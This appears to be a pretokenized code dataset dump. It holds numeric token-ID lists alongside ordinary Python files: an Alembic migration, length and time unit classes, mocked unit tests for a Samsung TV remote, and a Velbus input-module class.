23220,
29918,
13193,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
13808,
29898,
3977,
14740,
29897,
13,
4706,
23220,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
13193,
4197,
29900,
2314,
718,
23220,
29918,
13193,
29961,
29896,
29901,
14664,
13808,
877,
294,
18869,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
1272,
29918,
12313,
29918,
3259,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
4706,
23220,
29918,
13193,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
13808,
29898,
3977,
14740,
29897,
13,
4706,
23220,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
3977,
14740,
29918,
13193,
29961,
29900,
29901,
29896,
29962,
718,
6262,
4197,
29900,
2314,
718,
23220,
29918,
13193,
29961,
29906,
29901,
14664,
13808,
877,
294,
18869,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
1272,
29918,
12313,
29918,
23813,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
4706,
23220,
29918,
13193,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
13808,
29898,
3977,
14740,
29897,
13,
4706,
23220,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
3977,
14740,
29918,
13193,
718,
289,
29915,
29896,
2824,
13808,
877,
294,
18869,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
23220,
353,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
3977,
14740,
29918,
13193,
7503,
29899,
29906,
14664,
13808,
877,
294,
18869,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
1272,
29918,
1217,
29918,
7099,
14272,
29918,
1989,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
4706,
270,
8149,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
270,
8149,
29897,
13,
13,
13,
1753,
903,
3977,
4641,
29918,
6979,
29898,
333,
29918,
710,
29892,
5835,
29918,
1989,
29892,
3268,
29918,
1989,
29892,
1873,
29922,
29906,
29892,
1518,
16129,
29922,
6008,
29889,
9346,
287,
2554,
29898,
29882,
2470,
29922,
29896,
511,
3268,
29918,
333,
29922,
29900,
29892,
5999,
4135,
29918,
14836,
29922,
29900,
1125,
13,
1678,
1178,
353,
6262,
29898,
333,
29918,
710,
29892,
525,
9420,
29899,
29947,
1495,
13,
1678,
10110,
353,
938,
29889,
517,
29918,
13193,
29898,
2746,
29918,
333,
29892,
29871,
29946,
29892,
525,
3752,
1495,
13,
1678,
10110,
4619,
938,
29889,
517,
29918,
13193,
29898,
2435,
29898,
333,
511,
29871,
29946,
29892,
525,
3752,
1495,
13,
1678,
10110,
4619,
1178,
13,
1678,
10110,
4619,
938,
29889,
517,
29918,
13193,
29898,
22534,
4135,
29918,
14836,
29892,
29871,
29946,
29892,
525,
3752,
1495,
13,
1678,
10110,
4619,
938,
29889,
517,
29918,
13193,
29898,
524,
3552,
6008,
29889,
12673,
29889,
329,
29883,
3707,
580,
448,
11636,
29889,
9346,
287,
2554,
29898,
29882,
2470,
29922,
29896,
8106,
16394,
3101,
334,
29871,
29896,
29900,
29900,
29900,
29892,
29871,
29947,
29892,
525,
3752,
1495,
13,
1678,
10110,
29918,
440,
353,
6262,
4197,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
29871,
29929,
2314,
13,
13,
1678,
565,
451,
338,
8758,
29898,
4548,
16129,
29892,
11636,
29889,
12673,
1125,
13,
4706,
1518,
16129,
353,
11636,
29889,
12673,
29889,
329,
29883,
3707,
580,
718,
1518,
16129,
13,
1678,
5835,
29918,
23813,
353,
938,
29889,
517,
29918,
13193,
29898,
524,
29898,
4548,
16129,
29889,
16394,
3101,
334,
29871,
29896,
29900,
29900,
29900,
29892,
29871,
29947,
29892,
525,
3752,
1495,
13,
1678,
5835,
29918,
23813,
4619,
903,
3977,
4641,
29918,
1272,
29918,
29894,
29896,
29898,
22350,
29892,
1820,
29922,
2746,
29918,
1989,
29892,
20444,
29922,
22350,
29918,
440,
29897,
13,
1678,
5835,
29918,
440,
353,
6262,
4197,
29906,
29896,
29892,
29871,
29906,
29906,
29892,
29871,
29906,
29941,
29892,
29871,
29906,
29946,
29892,
29871,
29906,
29945,
29892,
29871,
29906,
29953,
29892,
29871,
29906,
29955,
29892,
29871,
29906,
29947,
29892,
29871,
29906,
29929,
29892,
29871,
29941,
29900,
29892,
29871,
29941,
29896,
29892,
29871,
29941,
29906,
29892,
29871,
29941,
29941,
29892,
29871,
29941,
29946,
29892,
29871,
29941,
29945,
29892,
29871,
29941,
29953,
2314,
13,
13,
1678,
5993,
353,
938,
29889,
517,
29918,
13193,
29898,
3259,
29892,
29871,
29896,
29892,
525,
3752,
1495,
13,
1678,
5993,
4619,
903,
3977,
4641,
29918,
1272,
29918,
29894,
29896,
29898,
6207,
29918,
23813,
29892,
1820,
29922,
6207,
29918,
1989,
29892,
20444,
29922,
6207,
29918,
440,
29897,
13,
13,
1678,
736,
2967,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
6979,
467,
13808,
877,
294,
18869,
1495,
13,
13,
13,
1753,
3402,
29918,
2230,
29898,
29873,
1125,
13,
1678,
269,
353,
260,
29889,
710,
615,
603,
877,
29995,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
29889,
29995,
29888,
1495,
13,
1678,
736,
269,
7503,
29899,
29941,
29962,
13,
2
] |
api/alembic/versions/2710366d3d68_add_domain_s_ip.py | dodobox-s-team/dodobox-ext | 0 | 45709 | """Add domain's ip
Revision ID: 2710366d3d68
Revises: 43b883c483b4
Create Date: 2021-12-22 03:19:46.487228
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by Alembic.
revision = '2<PASSWORD>'
down_revision = '43b883c483b4'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('domains', sa.Column('ipv4', sa.String(), nullable=False))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('domains', 'ipv4')
# ### end Alembic commands ###
| [
1,
9995,
2528,
5354,
29915,
29879,
10377,
13,
13,
1123,
4924,
3553,
29901,
29871,
29906,
29955,
29896,
29900,
29941,
29953,
29953,
29881,
29941,
29881,
29953,
29947,
13,
1123,
1730,
267,
29901,
29871,
29946,
29941,
29890,
29947,
29947,
29941,
29883,
29946,
29947,
29941,
29890,
29946,
13,
4391,
4712,
29901,
29871,
29906,
29900,
29906,
29896,
29899,
29896,
29906,
29899,
29906,
29906,
29871,
29900,
29941,
29901,
29896,
29929,
29901,
29946,
29953,
29889,
29946,
29947,
29955,
29906,
29906,
29947,
13,
13,
15945,
29908,
13,
13,
5215,
4576,
284,
305,
6764,
408,
872,
13,
3166,
20712,
29890,
293,
1053,
1015,
13,
13,
13,
29937,
26554,
2893,
14903,
29892,
1304,
491,
319,
2409,
29890,
293,
29889,
13,
276,
4924,
353,
525,
29906,
29966,
25711,
17013,
16299,
13,
3204,
29918,
276,
4924,
353,
525,
29946,
29941,
29890,
29947,
29947,
29941,
29883,
29946,
29947,
29941,
29890,
29946,
29915,
13,
17519,
29918,
21134,
353,
6213,
13,
2716,
1975,
29918,
265,
353,
6213,
13,
13,
13,
1753,
14955,
7295,
13,
1678,
396,
835,
8260,
4469,
5759,
491,
319,
2409,
29890,
293,
448,
3113,
10365,
29991,
835,
13,
1678,
1015,
29889,
1202,
29918,
4914,
877,
3129,
2708,
742,
872,
29889,
4409,
877,
666,
29894,
29946,
742,
872,
29889,
1231,
3285,
1870,
519,
29922,
8824,
876,
13,
1678,
396,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
13,
13,
1753,
1623,
8228,
7295,
13,
1678,
396,
835,
8260,
4469,
5759,
491,
319,
2409,
29890,
293,
448,
3113,
10365,
29991,
835,
13,
1678,
1015,
29889,
8865,
29918,
4914,
877,
3129,
2708,
742,
525,
666,
29894,
29946,
1495,
13,
1678,
396,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
2
] |
heatlib/units.py | ondrolexa/heat | 2 | 71545 | #################################################
# Unit helpers #
#################################################
class Length(float):
unit2m = dict(mm=0.001, cm=0.01, dm=0.1, m=1, km=1000)
def __new__(cls, val, unit):
return float.__new__(cls, val)
def __init__(self, val, unit):
assert unit in Length.unit2m, 'Unknown units'
self.unit = unit
def __str__(self):
return f'{float(self)} {self.unit}'
def __repr__(self):
return self.__str__()
def to(self, name):
if name in Length.unit2m:
return Length.unit2m[self.unit] * float(self) / Length.unit2m[name]
def __abs__(self):
return Length.unit2m[self.unit] * float(self)
class Time(float):
unit2s = dict(
s=1,
min=60,
h=3600,
d=24 * 3600,
y=365.25 * 24 * 3600,
ky=1e3 * 365.25 * 24 * 3600,
Ma=1e6 * 365.25 * 24 * 3600,
)
def __new__(cls, val, unit):
return float.__new__(cls, val)
def __init__(self, val, unit):
assert unit in Time.unit2s, 'Unknown units'
self.unit = unit
def __str__(self):
return f'{float(self)} {self.unit}'
def __repr__(self):
return self.__str__()
def to(self, name):
if name in Time.unit2s:
return Time.unit2s[self.unit] * float(self) / Time.unit2s[name]
def __abs__(self):
return Time.unit2s[self.unit] * float(self)
| [
1,
835,
13383,
13383,
7346,
4136,
2277,
13,
29937,
9651,
13223,
1371,
414,
462,
539,
396,
13,
13383,
13383,
13383,
29937,
13,
13,
13,
1990,
365,
1477,
29898,
7411,
1125,
13,
1678,
5190,
29906,
29885,
353,
9657,
29898,
4317,
29922,
29900,
29889,
29900,
29900,
29896,
29892,
7477,
29922,
29900,
29889,
29900,
29896,
29892,
270,
29885,
29922,
29900,
29889,
29896,
29892,
286,
29922,
29896,
29892,
2383,
29922,
29896,
29900,
29900,
29900,
29897,
13,
13,
1678,
822,
4770,
1482,
12035,
25932,
29892,
659,
29892,
5190,
1125,
13,
4706,
736,
5785,
17255,
1482,
12035,
25932,
29892,
659,
29897,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
659,
29892,
5190,
1125,
13,
4706,
4974,
5190,
297,
365,
1477,
29889,
5441,
29906,
29885,
29892,
525,
14148,
10340,
29915,
13,
4706,
1583,
29889,
5441,
353,
5190,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
285,
29915,
29912,
7411,
29898,
1311,
2915,
426,
1311,
29889,
5441,
10162,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
1583,
17255,
710,
1649,
580,
13,
13,
1678,
822,
304,
29898,
1311,
29892,
1024,
1125,
13,
4706,
565,
1024,
297,
365,
1477,
29889,
5441,
29906,
29885,
29901,
13,
9651,
736,
365,
1477,
29889,
5441,
29906,
29885,
29961,
1311,
29889,
5441,
29962,
334,
5785,
29898,
1311,
29897,
847,
365,
1477,
29889,
5441,
29906,
29885,
29961,
978,
29962,
13,
13,
1678,
822,
4770,
6897,
12035,
1311,
1125,
13,
4706,
736,
365,
1477,
29889,
5441,
29906,
29885,
29961,
1311,
29889,
5441,
29962,
334,
5785,
29898,
1311,
29897,
13,
13,
13,
1990,
5974,
29898,
7411,
1125,
13,
1678,
5190,
29906,
29879,
353,
9657,
29898,
13,
4706,
269,
29922,
29896,
29892,
13,
4706,
1375,
29922,
29953,
29900,
29892,
13,
4706,
298,
29922,
29941,
29953,
29900,
29900,
29892,
13,
4706,
270,
29922,
29906,
29946,
334,
29871,
29941,
29953,
29900,
29900,
29892,
13,
4706,
343,
29922,
29941,
29953,
29945,
29889,
29906,
29945,
334,
29871,
29906,
29946,
334,
29871,
29941,
29953,
29900,
29900,
29892,
13,
4706,
413,
29891,
29922,
29896,
29872,
29941,
334,
29871,
29941,
29953,
29945,
29889,
29906,
29945,
334,
29871,
29906,
29946,
334,
29871,
29941,
29953,
29900,
29900,
29892,
13,
4706,
3219,
29922,
29896,
29872,
29953,
334,
29871,
29941,
29953,
29945,
29889,
29906,
29945,
334,
29871,
29906,
29946,
334,
29871,
29941,
29953,
29900,
29900,
29892,
13,
1678,
1723,
13,
13,
1678,
822,
4770,
1482,
12035,
25932,
29892,
659,
29892,
5190,
1125,
13,
4706,
736,
5785,
17255,
1482,
12035,
25932,
29892,
659,
29897,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
659,
29892,
5190,
1125,
13,
4706,
4974,
5190,
297,
5974,
29889,
5441,
29906,
29879,
29892,
525,
14148,
10340,
29915,
13,
4706,
1583,
29889,
5441,
353,
5190,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
285,
29915,
29912,
7411,
29898,
1311,
2915,
426,
1311,
29889,
5441,
10162,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
1583,
17255,
710,
1649,
580,
13,
13,
1678,
822,
304,
29898,
1311,
29892,
1024,
1125,
13,
4706,
565,
1024,
297,
5974,
29889,
5441,
29906,
29879,
29901,
13,
9651,
736,
5974,
29889,
5441,
29906,
29879,
29961,
1311,
29889,
5441,
29962,
334,
5785,
29898,
1311,
29897,
847,
5974,
29889,
5441,
29906,
29879,
29961,
978,
29962,
13,
13,
1678,
822,
4770,
6897,
12035,
1311,
1125,
13,
4706,
736,
5974,
29889,
5441,
29906,
29879,
29961,
1311,
29889,
5441,
29962,
334,
5785,
29898,
1311,
29897,
13,
2
] |
tests/test_remote.py | epenet/samsung-tv-ws-api | 0 | 7351 | <gh_stars>0
"""Tests for remote module."""
from unittest.mock import Mock, call, patch
from samsungtvws.remote import SamsungTVWS
def test_send_key(connection: Mock) -> None:
"""Ensure simple data can be parsed."""
open_response = (
'{"data": {"token": <PASSWORD>}, "event": "ms.channel.connect", "from": "host"}'
)
connection.recv.side_effect = [open_response]
tv = SamsungTVWS("127.0.0.1")
tv.send_key("KEY_POWER")
connection.send.assert_called_once_with(
'{"method": "ms.remote.control", "params": {'
'"Cmd": "Click", '
'"DataOfCmd": "KEY_POWER", '
'"Option": "false", '
'"TypeOfRemote": "SendRemoteKey"'
"}}"
)
def test_app_list(connection: Mock) -> None:
"""Ensure valid app_list data can be parsed."""
open_response = (
'{"data": {"token": <PASSWORD>}, "event": "ms.channel.connect", "from": "host"}'
)
app_list_response = '{"data":{"data":[{"appId":"111299001912","app_type":2,"icon":"/opt/share/webappservice/apps_icon/FirstScreen/111299001912/250x250.png","is_lock":0,"name":"YouTube"},{"appId":"3201608010191","app_type":2,"icon":"/opt/share/webappservice/apps_icon/FirstScreen/3201608010191/250x250.png","is_lock":0,"name":"Deezer"}]},"event":"ed.installedApp.get","from":"host"}'
connection.recv.side_effect = [open_response, app_list_response]
tv = SamsungTVWS("127.0.0.1")
assert tv.app_list() == [
{
"appId": "111299001912",
"app_type": 2,
"icon": "/opt/share/webappservice/apps_icon/FirstScreen/111299001912/250x250.png",
"is_lock": 0,
"name": "YouTube",
},
{
"appId": "3201608010191",
"app_type": 2,
"icon": "/opt/share/webappservice/apps_icon/FirstScreen/3201608010191/250x250.png",
"is_lock": 0,
"name": "Deezer",
},
]
def test_app_list_invalid(connection: Mock) -> None:
"""Ensure simple data can be parsed."""
open_response = (
'{"data": {"token": 123456789}, "event": "ms.channel.connect", "from": "host"}'
)
app_list_response = '{"data": 200, "event": "ed.apps.launch", "from": "host"}'
connection.recv.side_effect = [open_response, app_list_response]
tv = SamsungTVWS("127.0.0.1")
assert tv.app_list() is None
connection.send.assert_called_once_with(
'{"method": "ms.channel.emit", "params": {"event": "ed.installedApp.get", "to": "host"}}'
)
def test_send_hold_key(connection: Mock) -> None:
"""Ensure simple data can be parsed."""
open_response = (
'{"data": {"token": 123456789}, "event": "ms.channel.connect", "from": "host"}'
)
connection.recv.side_effect = [open_response]
tv = SamsungTVWS("127.0.0.1")
with patch("samsungtvws.connection.time.sleep") as patch_sleep:
tv.hold_key("KEY_POWER", 3)
assert patch_sleep.call_count == 3
assert patch_sleep.call_args_list == [call(1), call(3), call(1)]
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
24376,
363,
7592,
3883,
1213,
15945,
13,
3166,
443,
27958,
29889,
17640,
1053,
26297,
29892,
1246,
29892,
13261,
13,
13,
3166,
269,
28935,
12427,
5652,
29889,
16674,
1053,
317,
28935,
8050,
7811,
13,
13,
13,
1753,
1243,
29918,
6717,
29918,
1989,
29898,
9965,
29901,
26297,
29897,
1599,
6213,
29901,
13,
1678,
9995,
29923,
1983,
545,
2560,
848,
508,
367,
21213,
1213,
15945,
13,
1678,
1722,
29918,
5327,
353,
313,
13,
4706,
525,
6377,
1272,
1115,
8853,
6979,
1115,
529,
25711,
17013,
29958,
1118,
376,
3696,
1115,
376,
1516,
29889,
12719,
29889,
6915,
613,
376,
3166,
1115,
376,
3069,
9092,
29915,
13,
1678,
1723,
13,
13,
1678,
3957,
29889,
3757,
29894,
29889,
2975,
29918,
15987,
353,
518,
3150,
29918,
5327,
29962,
13,
1678,
9631,
353,
317,
28935,
8050,
7811,
703,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1159,
13,
1678,
9631,
29889,
6717,
29918,
1989,
703,
10818,
29918,
29925,
9806,
1001,
1159,
13,
1678,
3957,
29889,
6717,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
525,
6377,
5696,
1115,
376,
1516,
29889,
16674,
29889,
6451,
613,
376,
7529,
1115,
11117,
13,
4706,
18793,
23651,
1115,
376,
4164,
613,
525,
13,
4706,
18793,
1469,
2776,
23651,
1115,
376,
10818,
29918,
29925,
9806,
1001,
613,
525,
13,
4706,
18793,
8375,
1115,
376,
4541,
613,
525,
13,
4706,
18793,
1542,
2776,
20224,
1115,
376,
12600,
20224,
2558,
29908,
29915,
13,
4706,
376,
930,
29908,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
932,
29918,
1761,
29898,
9965,
29901,
26297,
29897,
1599,
6213,
29901,
13,
1678,
9995,
29923,
1983,
545,
2854,
623,
29918,
1761,
848,
508,
367,
21213,
1213,
15945,
13,
1678,
1722,
29918,
5327,
353,
313,
13,
4706,
525,
6377,
1272,
1115,
8853,
6979,
1115,
529,
25711,
17013,
29958,
1118,
376,
3696,
1115,
376,
1516,
29889,
12719,
29889,
6915,
613,
376,
3166,
1115,
376,
3069,
9092,
29915,
13,
1678,
1723,
13,
1678,
623,
29918,
1761,
29918,
5327,
353,
525,
6377,
1272,
28819,
1272,
1115,
29961,
6377,
932,
1204,
4710,
29896,
29896,
29896,
29906,
29929,
29929,
29900,
29900,
29896,
29929,
29896,
29906,
3284,
932,
29918,
1853,
1115,
29906,
1699,
4144,
4710,
29914,
3670,
29914,
13653,
29914,
2676,
932,
5509,
29914,
13371,
29918,
4144,
29914,
6730,
11357,
29914,
29896,
29896,
29896,
29906,
29929,
29929,
29900,
29900,
29896,
29929,
29896,
29906,
29914,
29906,
29945,
29900,
29916,
29906,
29945,
29900,
29889,
2732,
3284,
275,
29918,
908,
1115,
29900,
1699,
978,
4710,
3492,
13425,
10758,
6377,
932,
1204,
4710,
29941,
29906,
29900,
29896,
29953,
29900,
29947,
29900,
29896,
29900,
29896,
29929,
29896,
3284,
932,
29918,
1853,
1115,
29906,
1699,
4144,
4710,
29914,
3670,
29914,
13653,
29914,
2676,
932,
5509,
29914,
13371,
29918,
4144,
29914,
6730,
11357,
29914,
29941,
29906,
29900,
29896,
29953,
29900,
29947,
29900,
29896,
29900,
29896,
29929,
29896,
29914,
29906,
29945,
29900,
29916,
29906,
29945,
29900,
29889,
2732,
3284,
275,
29918,
908,
1115,
29900,
1699,
978,
4710,
2772,
29872,
3298,
29908,
6525,
1118,
29908,
3696,
4710,
287,
29889,
25537,
2052,
29889,
657,
3284,
3166,
4710,
3069,
9092,
29915,
13,
13,
1678,
3957,
29889,
3757,
29894,
29889,
2975,
29918,
15987,
353,
518,
3150,
29918,
5327,
29892,
623,
29918,
1761,
29918,
5327,
29962,
13,
1678,
9631,
353,
317,
28935,
8050,
7811,
703,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1159,
13,
1678,
4974,
9631,
29889,
932,
29918,
1761,
580,
1275,
518,
13,
4706,
426,
13,
9651,
376,
932,
1204,
1115,
376,
29896,
29896,
29896,
29906,
29929,
29929,
29900,
29900,
29896,
29929,
29896,
29906,
613,
13,
9651,
376,
932,
29918,
1853,
1115,
29871,
29906,
29892,
13,
9651,
376,
4144,
1115,
5591,
3670,
29914,
13653,
29914,
2676,
932,
5509,
29914,
13371,
29918,
4144,
29914,
6730,
11357,
29914,
29896,
29896,
29896,
29906,
29929,
29929,
29900,
29900,
29896,
29929,
29896,
29906,
29914,
29906,
29945,
29900,
29916,
29906,
29945,
29900,
29889,
2732,
613,
13,
9651,
376,
275,
29918,
908,
1115,
29871,
29900,
29892,
13,
9651,
376,
978,
1115,
376,
3492,
13425,
613,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
376,
932,
1204,
1115,
376,
29941,
29906,
29900,
29896,
29953,
29900,
29947,
29900,
29896,
29900,
29896,
29929,
29896,
613,
13,
9651,
376,
932,
29918,
1853,
1115,
29871,
29906,
29892,
13,
9651,
376,
4144,
1115,
5591,
3670,
29914,
13653,
29914,
2676,
932,
5509,
29914,
13371,
29918,
4144,
29914,
6730,
11357,
29914,
29941,
29906,
29900,
29896,
29953,
29900,
29947,
29900,
29896,
29900,
29896,
29929,
29896,
29914,
29906,
29945,
29900,
29916,
29906,
29945,
29900,
29889,
2732,
613,
13,
9651,
376,
275,
29918,
908,
1115,
29871,
29900,
29892,
13,
9651,
376,
978,
1115,
376,
2772,
29872,
3298,
613,
13,
4706,
2981,
13,
1678,
4514,
13,
13,
13,
1753,
1243,
29918,
932,
29918,
1761,
29918,
20965,
29898,
9965,
29901,
26297,
29897,
1599,
6213,
29901,
13,
1678,
9995,
29923,
1983,
545,
2560,
848,
508,
367,
21213,
1213,
15945,
13,
1678,
1722,
29918,
5327,
353,
313,
13,
4706,
525,
6377,
1272,
1115,
8853,
6979,
1115,
29871,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
1118,
376,
3696,
1115,
376,
1516,
29889,
12719,
29889,
6915,
613,
376,
3166,
1115,
376,
3069,
9092,
29915,
13,
1678,
1723,
13,
1678,
623,
29918,
1761,
29918,
5327,
353,
525,
6377,
1272,
1115,
29871,
29906,
29900,
29900,
29892,
376,
3696,
1115,
376,
287,
29889,
13371,
29889,
15343,
613,
376,
3166,
1115,
376,
3069,
9092,
29915,
13,
13,
1678,
3957,
29889,
3757,
29894,
29889,
2975,
29918,
15987,
353,
518,
3150,
29918,
5327,
29892,
623,
29918,
1761,
29918,
5327,
29962,
13,
1678,
9631,
353,
317,
28935,
8050,
7811,
703,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1159,
13,
1678,
4974,
9631,
29889,
932,
29918,
1761,
580,
338,
6213,
13,
1678,
3957,
29889,
6717,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
525,
6377,
5696,
1115,
376,
1516,
29889,
12719,
29889,
21976,
613,
376,
7529,
1115,
8853,
3696,
1115,
376,
287,
29889,
25537,
2052,
29889,
657,
613,
376,
517,
1115,
376,
3069,
29908,
930,
29915,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
6717,
29918,
8948,
29918,
1989,
29898,
9965,
29901,
26297,
29897,
1599,
6213,
29901,
13,
1678,
9995,
29923,
1983,
545,
2560,
848,
508,
367,
21213,
1213,
15945,
13,
1678,
1722,
29918,
5327,
353,
313,
13,
4706,
525,
6377,
1272,
1115,
8853,
6979,
1115,
29871,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
1118,
376,
3696,
1115,
376,
1516,
29889,
12719,
29889,
6915,
613,
376,
3166,
1115,
376,
3069,
9092,
29915,
13,
1678,
1723,
13,
1678,
3957,
29889,
3757,
29894,
29889,
2975,
29918,
15987,
353,
518,
3150,
29918,
5327,
29962,
13,
13,
1678,
9631,
353,
317,
28935,
8050,
7811,
703,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1159,
13,
1678,
411,
13261,
703,
29879,
28935,
12427,
5652,
29889,
9965,
29889,
2230,
29889,
17059,
1159,
408,
13261,
29918,
17059,
29901,
13,
4706,
9631,
29889,
8948,
29918,
1989,
703,
10818,
29918,
29925,
9806,
1001,
613,
29871,
29941,
29897,
13,
13,
1678,
4974,
13261,
29918,
17059,
29889,
4804,
29918,
2798,
1275,
29871,
29941,
13,
1678,
4974,
13261,
29918,
17059,
29889,
4804,
29918,
5085,
29918,
1761,
1275,
518,
4804,
29898,
29896,
511,
1246,
29898,
29941,
511,
1246,
29898,
29896,
4638,
13,
2
] |
velbus/modules/vmbin.py | gitd8400/python-velbus | 0 | 187003 | <reponame>gitd8400/python-velbus<gh_stars>0
"""
:author: <NAME> <<EMAIL>
"""
import velbus
class VMB6INModule(velbus.Module):
"""
Velbus input module with 6 channels
"""
def __init__(self, module_type, module_name, module_address, controller):
velbus.Module.__init__(self, module_type, module_name, module_address, controller)
self._is_closed = {}
self._callbacks = {}
def is_closed(self, channel):
if channel in self._is_closed:
return self._is_closed[channel]
return False
def _load(self):
message = velbus.ModuleStatusRequestMessage(self._address)
message.channels = list(range(1, self.number_of_channels()+1))
self._controller.send(message)
def number_of_channels(self):
return 7
def _on_message(self, message):
if isinstance(message, velbus.PushButtonStatusMessage):
for channel in message.closed:
self._is_closed[channel] = True
for channel in message.opened:
self._is_closed[channel] = False
for channel in message.get_channels():
if channel in self._callbacks:
for callback in self._callbacks[channel]:
callback(self._is_closed[channel])
def on_status_update(self, channel, callback):
"""
Callback to execute on status of update of channel
"""
if not channel in self._callbacks:
self._callbacks[channel] = []
self._callbacks[channel].append(callback)
class VMB7INModule(VMB6INModule):
"""
Velbus input module with 7 channels
"""
def number_of_channels(self):
return 8
velbus.register_module('VMB7IN', VMB7INModule)
velbus.register_module('VMB6IN', VMB6INModule)
| [
1,
529,
276,
1112,
420,
29958,
5559,
29881,
29947,
29946,
29900,
29900,
29914,
4691,
29899,
955,
8262,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
29901,
8921,
29901,
529,
5813,
29958,
3532,
26862,
6227,
29958,
13,
15945,
29908,
13,
5215,
5343,
8262,
13,
13,
1990,
478,
9486,
29953,
1177,
7355,
29898,
955,
8262,
29889,
7355,
1125,
13,
1678,
9995,
13,
1678,
12019,
8262,
1881,
3883,
411,
29871,
29953,
18196,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3883,
29918,
1853,
29892,
3883,
29918,
978,
29892,
3883,
29918,
7328,
29892,
4701,
1125,
13,
4706,
5343,
8262,
29889,
7355,
17255,
2344,
12035,
1311,
29892,
3883,
29918,
1853,
29892,
3883,
29918,
978,
29892,
3883,
29918,
7328,
29892,
4701,
29897,
13,
4706,
1583,
3032,
275,
29918,
15603,
353,
6571,
13,
4706,
1583,
3032,
14035,
29879,
353,
6571,
13,
13,
1678,
822,
338,
29918,
15603,
29898,
1311,
29892,
8242,
1125,
13,
4706,
565,
8242,
297,
1583,
3032,
275,
29918,
15603,
29901,
13,
9651,
736,
1583,
3032,
275,
29918,
15603,
